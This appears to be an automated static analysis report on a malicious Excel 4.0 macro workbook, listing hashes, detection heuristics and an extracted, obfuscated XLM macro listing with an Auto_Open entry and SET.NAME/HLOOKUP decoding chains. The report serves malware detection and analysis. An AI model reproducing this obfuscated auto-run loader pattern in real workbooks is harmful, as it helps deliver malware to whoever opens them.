Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 42ad8728ddd5e901…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:41:15 Authoring application: Microsoft Excel First seen: 2021-04-01
MD5: d7b9127bd4d6c458fd27ce18ada4368f SHA-1: ea79400f7cb051c44fcbe2cf7a2d2c8bbd335979 SHA-256: 42ad8728ddd5e901694ba02ccb57fd9f0c4097f96acaef31f3a500d6db51abae
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6876 bytes
SHA-256: 64c2c17d4943239b402091fe425be0b18e4ca2a70e7d093cfacb97d652c3ba51
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  VlPMaTZNch
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C159 
' 0018     26 LABEL : Cell Value, String Constant - bUPXQBtdRTN len=0 
' 0018     24 LABEL : Cell Value, String Constant - FcYLDuxYi len=0 
' 0018     26 LABEL : Cell Value, String Constant - fjgIXrjbDoy len=0 
' 0018     24 LABEL : Cell Value, String Constant - GzLDJlKaQ len=0 
' 0018     24 LABEL : Cell Value, String Constant - htZuUnGPP len=0 
' 0018     23 LABEL : Cell Value, String Constant - hXTKKZsB len=0 
' 0018     25 LABEL : Cell Value, String Constant - JfJKxsOfoR len=0 
' 0018     21 LABEL : Cell Value, String Constant - KjPzhv len=0 
' 0018     22 LABEL : Cell Value, String Constant - PbJPurZ len=0 
' 0018     27 LABEL : Cell Value, String Constant - PejojtWlirKu len=0 
' 0018     25 LABEL : Cell Value, String Constant - PrCohAOOCi len=0 
' 0018     25 LABEL : Cell Value, String Constant - QYAvMucEpM len=0 
' 0018     25 LABEL : Cell Value, String Constant - rzcbfRFWoJ len=0 
' 0018     23 LABEL : Cell Value, String Constant - tKSmifPo len=0 
' 0018     27 LABEL : Cell Value, String Constant - uxBXpceVhXjm len=0 
' 0018     25 LABEL : Cell Value, String Constant - waBeEkLnpd len=0 
' 0018     26 LABEL : Cell Value, String Constant - WsndJEJiQAE len=0 
' 0018     21 LABEL : Cell Value, String Constant - yPRPTE len=0 
' 0018     22 LABEL : Cell Value, String Constant - ySBnzIR len=0 
' 0018     20 LABEL : Cell Value, String Constant - zpmyr len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  VlPMaTZNch,R41,"",-6.00000000000000000000
'  VlPMaTZNch,R42,"",711.00000000000000000000
'  VlPMaTZNch,R43,"",-446.00000000000000000000
'  VlPMaTZNch,R44,"",297.00000000000000000000
'  VlPMaTZNch,R45,"",394.00000000000000000000
'  VlPMaTZNch,R46,"",-899.00000000000000000000
'  VlPMaTZNch,C66,"SET.NAME("uxBXpceVhXjm",0+VALUE("0"))",""
'  VlPMaTZNch,C69,"SET.NAME("bUPXQBtdRTN",uxBXpceVhXjm)",""
'  VlPMaTZNch,C74,"SET.NAME("QYAvMucEpM",uxBXpceVhXjm)",""
'  VlPMaTZNch,C79,"SET.NAME("JfJKxsOfoR",COUNTA(fjgIXrjbDoy))",""
'  VlPMaTZNch,C83,"SET.NAME("PrCohAOOCi",COUNTA(waBeEkLnpd))",""
'  VlPMaTZNch,C85,[],""
'  VlPMaTZNch,C87,"SET.NAME("htZuUnGPP","")",""
'  VlPMaTZNch,C89,"bUPXQBtdRTN",""
'  VlPMaTZNch,C93,"SET.NAME("PejojtWlirKu",HLOOKUP("*",fjgIXrjbDoy,bUPXQBtdRTN,FALSE))",""
'  VlPMaTZNch,C98,"FcYLDuxYi",""
'  VlPMaTZNch,C100,"SET.NAME("ySBnzIR",uxBXpceVhXjm)",""
'  VlPMaTZNch,C105,[],""
'  VlPMaTZNch,C108,"ySBnzIR",""
'  VlPMaTZNch,C111,"tKSmifPo",""
'  VlPMaTZNch,C115,"rzcbfRFWoJ",""
'  VlPMaTZNch,C118,"WsndJEJiQAE",""
'  VlPMaTZNch,C122,"SET.NAME("zpmyr",VALUE(HLOOKUP("*",waBeEkLnpd,WsndJEJiQAE,FALSE)))",""
'  VlPMaTZNch,C125,"KjPzhv",""
'  VlPMaTZNch,C127,"htZuUnGPP",""
'  VlPMaTZNch,C131,"QYAvMucEpM",""
'  VlPMaTZNch,C135,NEXT(),""
'  VlPMaTZNch,C137,"PbJPurZ",""
'  VlPMaTZNch,C142,[],""
'  VlPMaTZNch,C147,"hXTKKZsB",""
'  VlPMaTZNch,C151,NEXT(),""
'  VlPMaTZNch,C154,RETURN(),""
'  VlPMaTZNch,C186,"SET.NAME("GzLDJlKaQ",C66)",""
'  VlPMaTZNch,C190,"fjgIXrjbDoy",""
'  VlPMaTZNch,C195,"SET.NAME("waBeEkLnpd",R49C15)",""
'  VlPMaTZNch,C200,"SET.NAME("hXTKKZsB",208)",""
'  VlPMaTZNch,C205,"SET.NAME("yPRPTE",3)",""
'  VlPMaTZNch,C207,GzLDJlKaQ(),""
'  VlPMaTZNch,C208,HALT(),""

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